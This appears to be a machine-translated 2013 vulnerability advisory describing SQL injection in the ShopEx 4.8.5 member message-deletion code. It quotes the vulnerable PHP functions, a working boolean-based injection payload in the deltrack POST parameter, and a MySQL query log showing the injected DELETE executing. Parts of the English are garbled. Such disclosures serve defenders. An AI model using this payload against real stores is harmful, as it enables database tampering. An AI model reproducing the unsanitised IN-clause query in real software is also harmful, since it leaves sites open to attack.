shopex ctl. member. php file SQL injection vulnerability-vulnerability warning-the black bar safety net

2013-08-19T00:00:00
ID MYHACK58:62201340196
Type myhack58
Reporter 佚名
Modified 2013-08-19T00:00:00

Description

Issql injectionvulnerability testing version: shopex-singel-4.8.5.78660

File:\core\shop\controller\ctl.member.php

function delTrackMsg() { if(! empty($_POST['deltrack'])){ $oMsg = &$this->system->loadModel('resources/msgbox'); $oMsg->delTrackMsg($_POST['deltrack']); $this->splash('success', $this->system->mkUrl("member","track"), ('deleted successfully')); }else{ $this->splash('failed', $this->system->mkUrl("member","track"), ('Delete failed: did not select any records!')); } }

Follow up$oMsg->delTrackMsg($_POST['deltrack']);

In the file:\core\model_v5\resources\mdl.msgbox.php

public function delTrackMsg( $aMsgId ) { foreach ( $aMsgId as $val ) { if ( $val ) { $aTmp[] = $val; } } if ( $aTmp ) { $this->db->exec( "DELETE FROM sdb_message WHERE msg_id IN (". implode( ",", $aTmp ).") AND del_status='1'" ); $this->db->exec( "UPDATE sdb_message SET del_status='2' WHERE msg_id IN (". implode( ",", $aTmp ).")" ); } return true; }

Appear in the DELETE statementsql injectionis purely physical life, by whether to delete the message as a judgment on the basis of slowly search.

Submit data package;deltrack[1]=1) and (select count(*) from sdb_operators)=1%2 3

To view the sql execution records:

1 3 0 5 2 6 2 0:3 1:2 5 3 6 0 Connect root@localhost on 3, 6 0 Init DB shopex 3 6 0 Query SET NAMES 'utf8' 3 6 0 Query SELECT * FROM sdb_plugins WHERE plugin_type="app" 3 6 0 Query select * from sdb_plugins where plugin_type="app" and plugin_ident='commodity_radar' LIMIT 0, 1 3 6 0 Query select * from sdb_plugins where plugin_type="app" and plugin_ident='shopex_stat' LIMIT 0, 1 3 6 0 Query select member_id,member_lv_id,email,uname,b_year,b_month,b_day,password,unreadmsg,cur,lang,point,experience from sdb_members where member_id=4 LIMIT 0, 1 3 6 0 Query SELECT count() AS unreadmsg FROM sdb_message WHERE to_type = 0 AND del_status != '1' AND folder = 'inbox' AND unread = '0' AND to_id =4 LIMIT 0, 1 3 6 0 Query SELECT plugin_name,plugin_ident FROM sdb_plugins WHERE 1 AND sdb_plugins. disabled = 'false' AND sdb_plugins. plugin_type='app' LIMIT 0, 2 0 3 6 0 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='commodity_radar' LIMIT 0, 1 3 6 0 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='shopex_stat' LIMIT 0, 1 3 6 0 Query SELECT plugin_id,plugin_path,plugin_struct,plugin_config,plugin_base FROM sdb_plugins WHERE plugin_type='app' AND plugin_ident='pay_offline' LIMIT 0, 1 3 6 0 Query: DELETE FROM sdb_message WHERE msg_id IN (1) and (select count() from sdb_operators) =1#) AND del_status='1'

Successful implementation

Vulnerability to prove:

!

[1] [2] next